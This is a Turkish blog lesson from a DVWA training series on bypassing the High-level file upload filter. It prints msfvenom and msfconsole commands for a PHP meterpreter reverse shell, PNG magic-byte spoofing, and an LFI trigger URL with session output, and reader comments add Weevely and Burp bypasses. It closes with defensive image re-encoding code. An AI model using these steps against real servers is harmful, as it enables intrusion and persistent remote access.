Ders 13 - File Upload (High Level)
Bu yazıda güvenlik düzeyi High seviyesine yükseltilmiş DVWA'da shell tehditine karşı ne gibi bir önlem alındığına ve bu önlemin aşılıp aşılamayacağına değinilecektir.

Konuya giriş yapmadan önce bu yazının dahil olduğu dvwa eğitim serisindeki tüm makalelere şu adresten


bu yazının ilintili olduğu dvwa eğitim serisindeki diğer makalelere ise şu adreslerden


erişebilirsiniz.

Dersin Hedefi

Shell'e karşı nasıl daha etkili bir güvenlik temin edilebileceğini ve yine nasıl aşılabileceğini keşfedin.

Shell'e Karşı Önlem

File Upload bölümünün ilk dersinde shell upload ederek bir siteyi nasıl hack'leyebileceğimizden bahsetmiştik. İkinci derste ise shell tehditine karşı alınmış bir güvenlik önleminden ve bu güvenlik önleminin nasıl aşılabileceğinden bahsetmiştik. Bu derste ise önceki derse nazaran daha etkili bir güvenlik önleminden bahsedeceğiz. DVWA'da güvenlik seviyesi High Level iken kullanılan kaynak kod şudur:

High Level:
<?php 

if( isset( $_POST[ 'Upload' ] ) ) { 
    // Where are we going to be writing to? 
    $target_path  = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/"; 
    $target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] ); 

    // File information 
    $uploaded_name = $_FILES[ 'uploaded' ][ 'name' ]; 
    $uploaded_ext  = substr( $uploaded_name, strrpos( $uploaded_name, '.' ) + 1); 
    $uploaded_size = $_FILES[ 'uploaded' ][ 'size' ]; 
    $uploaded_tmp  = $_FILES[ 'uploaded' ][ 'tmp_name' ]; 

    // Is it an image? 
    if( ( strtolower( $uploaded_ext ) == "jpg" || strtolower( $uploaded_ext ) == "jpeg" || strtolower( $uploaded_ext ) == "png" ) &&
        ( $uploaded_size < 100000 ) && 
        getimagesize( $uploaded_tmp ) ) { 

        // Can we move the file to the upload folder? 
        if( !move_uploaded_file( $uploaded_tmp, $target_path ) ) { 
            // No 
            echo '
Your image was not uploaded.
'; } else { // Yes! echo "
{$target_path} succesfully uploaded!
"; } } else { // Invalid file echo '
Your image was not uploaded. We can only accept JPEG or PNG images.
'; } } ?>


Yukarıdaki kullanılan kaynak kodun 10. satırına dikkat ederseniz kullanıcının yükleme teşebbüsünde bulunduğu dosyanın ismi ele alınıyor. Dosya isminde barınan ilk noktadan sonraki tüm karakterler $uploaded_ext değişkenine atanıyor. Yani bu yapılan işlem dosyanın uzantısını öğrenmek içindir. Ardından bu değişken 15. satırda sınanıyor ve eğer jpg, jpeg, png değerlerinden birine sahipse dosyanın upload'lanmasına izin veriliyor. Eğer jpg, jpeg ya da png değerlerine sahip değilse dosyanın upload'lanması else koşuluna girilerek engelleniyor.

Görüldüğü üzere bu sefer öncekine nazaran daha sıkı bir güvenlik prosedürü uygulanmış. Fikir cimnastiği yapmak adına ilk derste oluşturulan shell.php dosyasını şöyle adlandırıp göndermeyi deneyebiliriz:

shell.png.php

Ancak sunucu buna kanmaz. Çünkü 10. satırda yer alan fonksiyonların kullanımına göre ilk noktadan sonraki tüm karakterler uzantı olarak kabul ediliyor. Dolayısıyla sunucu dosyayı upload'lamak için png.php değerini sınayacaktır. E haliyle bu değer ne png ne jpeg ne de jpg olduğu için dosya upload'lanamayacaktır.

File Upload High Level Korumayı Atlatma

DVWA'da file upload sayfasında high güvenlik seviyesi sıkı bir güvenlik olsa da atlatılabilmektedir. Bunun için File Upload saldırısını LFI (Local File Inclusion) saldırısı ile birleştirmemiz şarttır. Şimdi high güvenliği atlatıp yine web shell upload'layarak reverse shell bağlantısı yakalayalım ve sisteme sızalım. İşte o adımlar:

Gereksinimler

* Saldırgan : Kali Linux 2022.1 VM
* Saldırgan Araç : Msfvenom & Msfconsole & Hexeditor
* Hedef Web Uygulama : DVWA ve WebGoat (Ubuntu 14.04 LTS) VM

1. Saldırgan önce payload'u oluşturur:

Kali Linux VM Terminal #1:

msfvenom -l payloads | grep php
msfvenom -p php/meterpreter/reverse_tcp lhost=KALI_IP_ADDRESS lport=4444 -f raw > exploit.php







2. Saldırgan ardından dinleme moduna geçer.

Kali Linux VM Terminal #2:

msfconsole
msf6> use exploit/multi/handler
msf6 exploit(multi/handler) > set payload php/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > set lhost KALI_IP_ADDRESS
msf6 exploit(multi/handler) > run



3. Msfvenom ile oluşan exploit.php payload'u bir editör ile (örn; nano ile) açılır ve en başına 8 adet boşluk karakteri eklenir.

Kali Linux Terminal:
nano exploit.php





CTRL+X yapıp ENTER'layp nano editörünü kapatabiliriz.

Bu adımı yapıyoruz çünkü hexeditor adlı araç kullanacağız ve bu araç ile exploit.php'ye 8 adet hexadecimal değer gireceğiz. Bu hexadecimal değerleri içeriğin üzerine overwrite edecek şekilde girmek istemiyoruz. En başa ilave olacak şekilde eklemek istiyoruz. Dosyanın imzasını değiştirmek istiyoruz, dosyanın içeriğini değil. Bu nedenle dosya imzasını bir sonraki adımda en başa eklememiz gerekecek.

4. exploit.php hexeditor ile açılır ve en başına örn; png dosya imzası eklenir.

Kali Linux Terminal #2:

hexeditor exploit.php


(( En baştaki 8 boşluğa şu png dosya imzası

89 50 4E 47 0D 0A 1A 0A

girilir ))









Not:

Dosya imzaları hakkında ayrıntılı bilgi için bkz.

https://en.wikipedia.org/wiki/List_of_file_signatures

CTR+X ile dosya kaydedilir ve çıkılır.

5. Ardından exploit.php dosyası file upload'un kabul edeceği uzantıya (.png) dönüştürülür.

Kali Linux Terminal #2:

cp exploit.php exploit.png



6. Ardından exploit.png dosyasını high seviyede file upload saldırısı gereği web sunucuya upload'larız.







Görüldüğü gibi png görünümlü php dosyasını sunucu kabul etti.

7. Sonra güvenlik seviyesi dvwa'da low 'a çekilir. Çünkü şimdi file upload saldırısını lfi saldırısı ile birleştireceğiz ve uygulama ful lfi açıklığına sahip varsayacağız.



8. Son yüklediğimiz png dosyayı lfi saldırısı ile tetikleriz.





http://DVWA_WEB_SERVER_IP/dvwa/vulnerabilities/fi/?page=../../hackable/uploads/exploit.png


9. Böylece meterpreter session'ı komut satırımıza gelecektir.

Kali Linux Terminal #1:

msf6 exploit(multi/handler) > 

[*] Started reverse TCP handler on 192.168.56.134:4444 
[*] Sending stage (39282 bytes) to 192.168.56.136
[*] Meterpreter session 2 opened (192.168.56.134:4444 -> 192.168.56.136:58943 ) at 2025-03-20 02:41:20 +0300

meterpreter >


Görüldüğü gibi high level güvenlik önlemi de işe yaramadı. Peki nasıl daha etkili bir güvenlik önlemi alınabilir? Impossible seviyesine bir göz atalım.

File Upload (Impossible Level):

<?php

if( isset( $_POST[ 'Upload' ] ) ) {
    // Check Anti-CSRF token
    checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );


    // File information
    $uploaded_name = $_FILES[ 'uploaded' ][ 'name' ];
    $uploaded_ext  = substr( $uploaded_name, strrpos( $uploaded_name, '.' ) + 1);
    $uploaded_size = $_FILES[ 'uploaded' ][ 'size' ];
    $uploaded_type = $_FILES[ 'uploaded' ][ 'type' ];
    $uploaded_tmp  = $_FILES[ 'uploaded' ][ 'tmp_name' ];

    // Where are we going to be writing to?
    $target_path   = DVWA_WEB_PAGE_TO_ROOT . 'hackable/uploads/';
    //$target_file   = basename( $uploaded_name, '.' . $uploaded_ext ) . '-';
    $target_file   =  md5( uniqid() . $uploaded_name ) . '.' . $uploaded_ext;
    $temp_file     = ( ( ini_get( 'upload_tmp_dir' ) == '' ) ? ( sys_get_temp_dir() ) : ( ini_get( 'upload_tmp_dir' ) ) );
    $temp_file    .= DIRECTORY_SEPARATOR . md5( uniqid() . $uploaded_name ) . '.' . $uploaded_ext;

    // Is it an image?
    if( ( strtolower( $uploaded_ext ) == 'jpg' || strtolower( $uploaded_ext ) == 'jpeg' || strtolower( $uploaded_ext ) == 'png' ) &&
        ( $uploaded_size < 100000 ) &&
        ( $uploaded_type == 'image/jpeg' || $uploaded_type == 'image/png' ) &&
        getimagesize( $uploaded_tmp ) ) {

        // Strip any metadata, by re-encoding image (Note, using php-Imagick is recommended over php-GD)
        if( $uploaded_type == 'image/jpeg' ) {
            $img = imagecreatefromjpeg( $uploaded_tmp );
            imagejpeg( $img, $temp_file, 100);
        }
        else {
            $img = imagecreatefrompng( $uploaded_tmp );
            imagepng( $img, $temp_file, 9);
        }
        imagedestroy( $img );

        // Can we move the file to the web root from the temp folder?
        if( rename( $temp_file, ( getcwd() . DIRECTORY_SEPARATOR . $target_path . $target_file ) ) ) {
            // Yes!
            echo "<pre><a href='${target_path}${target_file}'>${target_file}</a> succesfully uploaded!</pre>";
        }
        else {
            // No
            echo '<pre>Your image was not uploaded.</pre>';
        }

        // Delete any temp files
        if( file_exists( $temp_file ) )
            unlink( $temp_file );
    }
    else {
        // Invalid file
        echo '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>';
    }
}

// Generate Anti-CSRF token
generateSessionToken();

?> 
Geliştiriciler 29-36ncı satır arasındaki gibi aldıkları resimlerin binary'sini encode'layıp tekrar resim oluşturmalıdırlar. Bu şekilde yapınca resim iddiasındaki dosyada resim binary'si olmayan metadata'lar kırpılmış olacaktır ve örneğin png gözüken php dosyası saldırısı yine tatbik edildiğinde başarıya ulaşamayacaktır. Sonuç olarak geliştiriciler aldıkları resimleri kütüphaneleri ile işleyip tekrar oluşturmalılar ve o şekilde diske kaydetmelidirler.

Yararlanılan Kaynaklar

  • https://en.wikipedia.org/wiki/List_of_file_signatures
  • https://www.youtube.com/watch?v=K7XBQWAZdZ4&list=PLHUKi1UlEgOJLPSFZaFKMoexpM6qhOb4Q&index=6
Bu yazı 17.01.2016 tarihinde, saat 07:42:06'de yazılmıştır. 25.03.2025 tarihi ve 02:50:07 saatinde ise güncellenmiştir.
Yazar : Hasan Fatih ŞİMŞEK Görüntülenme Sayısı : 3650
Yorumlar
Anthony
Hello Hasan, I'm currently working on this level I don't understand turkish but it appears your solution is "shell.png.php" ? It doesn't work for me Can you explain ? Thanks
Bu yorum 26.07.2016 tarihinde, saat 16:19:53'de gönderilmiştir.
Hasan Fatih ŞİMŞEK
This article tells you that you cannot be successful by using extension spoofing. That is why the source code takes precautions for coming file's extension strictly.
Bu yorum 31.07.2016 tarihinde, saat 10:40:14'de gönderilmiştir.
deneme
shell.php yi shell.png yapıp upload edip çalıştırırsa?
Bu yorum 18.11.2016 tarihinde, saat 15:05:55'de gönderilmiştir.
Hasan Fatih ŞİMŞEK
Merhaba diğer arkadaş, dediğin işlem olmaz. Doğru, shell'i sadece png uzantısını kullanarak sunucuya upload'layabilirsin. Ancak tarayıcıda o shell'i görüntülemeye çalıştığında shell dosyası resim uzantılı olacağı için tarayıcı gelen dosyayı resim olarak yorumlayıp ona göre ekrana yansıtacaktır. Bu nedenle de shell'in işlevi tamamen geçersiz olup bir yığın karmaşık karakterler dizisi olarak ekranına yansıyacaktır. Fakat şu da var: Yolladığın shell.png dosyasını tarayıcıdan url'sini girerek talep ettiğinde eğer sunucudan gelen yanıt paketinin Content-Type başlığı örn; img/png yerine application/x-php olursa bu durumda resim dosyası görünümlü shell.png dosyanı olması gerektiği şekilde görüntüleyebilirsin ve sızma sürecini ilerletebilirsin. Ancak bu senaryo için hedef web sunucusundaki yanıt başlığının (Content-Type başlığının manipüle edilmiş olması lazımdır ki bu işlem için yapabileceğin tek şey sisteme sızmaktır. Sızmış olsan bile konfigurasyon dosyalarını değiştirmen gerekeceğinden normal şartlarda en yüksek haklara sahip olman gerekir. O noktaya kadar vardıysam shell'e niye ihtiyaç duyayım diyebilirsin. Sunucuya belki sızmış olabilirsin ama sonradan sistemci durumun farkına varıp giriş yollarını kapatabilir. Bu durumda eğer sen web shell'ini sunucuda bırakırsan o yolla sürekli sisteme sızabilirsin.
Bu yorum 27.08.2018 tarihinde, saat 09:09:20'de gönderilmiştir.
Ellit Alderson
Kali linux kullanıcıları msfvenom kullanarak oluşturdukları .php dosyasını sonuna .jpg uzantısı ile upload edebilirler. Yükledikleri dosya .php.jpg şeklinde kalsa bile üzerine tıklandığı zaman çalışacak ve meterpreter session başlamış olacaktır.
Bu yorum 23.03.2020 tarihinde, saat 19:08:30'de gönderilmiştir.
Halis
Öncelikle emeğiniz için teşekkür ederim. Şu şekilde bu güvenlik protokolü de zafiyete uğratılabilir: 1) Weevely aracı ile "shell.php" oluşturulur. 2) Burpsuite ile type "image/jpeg" ve name "shell.php.jpg" değiştirilir. 3) Terminal'den Weevely aracı ile upload URL girilerek shell başlatılabilir. Komutlar: 1) Weevely generate 111111 shell.php 2) Burp suite.. 3) Weevely http://...../dvwa/hackable/uploads/shell.php.jpg 111111
Bu yorum 14.06.2020 tarihinde, saat 17:24:42'de gönderilmiştir.
Hasan Fatih ŞİMŞEK
Merhaba Ellit, dediğin yöntem çalışıyor mu test etmedim ve araştırmadım. Fakat diğer arkadaşlar test etmek isterlerse kali linux'da msfvenom aracının nasıl kullanılabileceğini blogdaki Metasploit Detay Bilgiler makalesinde "Uyarı" başlığı ve "Ekstra" başlığından, ayrıca blogdaki Metasploit Detay Bilgiler Özet makalesinde öğrenebilirler. Bu adreslerdeki kaynakları anlayarak msfvenom ile meterpreter payload'lu oluşturulmuş .jpg uzantılı shell dosyası oluşturulabilir ve upload'lanacak bu .jpg uzantılı shell dosyası web tarayıcıda görüntülendiğinde metasploit'te exploit/multi/handler ile dinleme modundayken metasploit komut satırına ters kabuk bağlantısı geliyor mu kontrol edilebilir.
Bu yorum 02.02.2022 tarihinde, saat 14:19:23'de gönderilmiştir.
Yorum Ekle
*
* (E-posta adresiniz yayınlanmayacaktır.)
*
*

#Arşiv


#Giriş

ID :
Şifre :